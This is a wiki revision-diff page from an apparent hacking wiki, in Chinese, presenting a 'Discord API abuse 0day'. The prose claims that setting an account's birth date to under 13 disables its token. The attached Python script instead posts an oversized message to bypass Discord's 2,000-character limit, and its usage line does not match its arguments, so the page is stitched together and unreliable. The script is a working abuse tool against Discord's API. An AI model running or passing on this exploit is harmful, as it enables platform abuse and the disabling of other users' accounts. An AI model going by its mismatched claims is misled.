Difference between revisions of "Discord API濫用0day/zh-hans"
From PwnWiki
(建立內容為「Discord API滥用0day」的新頁面) |
(Updating to match new version of source page) |
||
| (One intermediate revision by one other user not shown) | |||
| Line 1: | Line 1: | ||
| + | <languages /> | ||
| + | |||
{| style="margin: auto; width: 750px;" | {| style="margin: auto; width: 750px;" | ||
| style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" | | | style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" | | ||
| Line 8: | Line 10: | ||
<br><noinclude> | <br><noinclude> | ||
| − | |||
==漏洞原理:== | ==漏洞原理:== | ||
| − | + | 将账户的出生日期设置为小于13岁以禁用Token,因为Discord会自动禁用所有者小于13岁的账户。 | |
| − | |||
| − | + | 请注意,已经设置DoB的账户不受到此漏洞影响。 | |
| − | |||
| − | |||
==EXP:== | ==EXP:== | ||
Usage: | Usage: | ||
<pre> | <pre> | ||
| − | + | python example.py <token> | |
</pre> | </pre> | ||
| Line 67: | Line 65: | ||
</pre> | </pre> | ||
| − | + | ||
==作者:== | ==作者:== | ||
原始作者未知。 | 原始作者未知。 | ||
| − | |||
Latest revision as of 17:16, 11 April 2021
|
漏洞原理:
将账户的出生日期设置为小于13岁以禁用Token,因为Discord会自动禁用所有者小于13岁的账户。
请注意,已经设置DoB的账户不受到此漏洞影响。
EXP:
Usage:
python example.py <token>
# Name: 2000 Characters Limit Bypass
# Description: Sends an URI that contains characters that gets URL encoded when sent, which increases the length of the message.
# Author: checksum (@0daySkid)
# Original founder: Siaxos
import requests
import random
import sys
class Exploit:
def __init__(self, token, channel):
self.token = token
self.channel_id = channel
self.headers = {'Authorization': token}
@property
def uri(self):
chars = ''.join(random.choice('\'"^`|{}') for _ in range(1993))
return f'<a://a{chars}>'
def execute(self):
""" send magical URI """
return requests.post(f'https://discordapp.com/api/v6/channels/{self.channel_id}/messages', headers=self.headers, json={'content': self.uri})
def main():
if len(sys.argv) < 3:
print(f'Usage: py {sys.argv[0]} <token> <channel id>')
sys.exit()
token = sys.argv[1]
channel_id = sys.argv[2]
exploit = Exploit(token, channel_id)
exploit.execute()
if __name__ == '__main__':
main()
作者:
原始作者未知。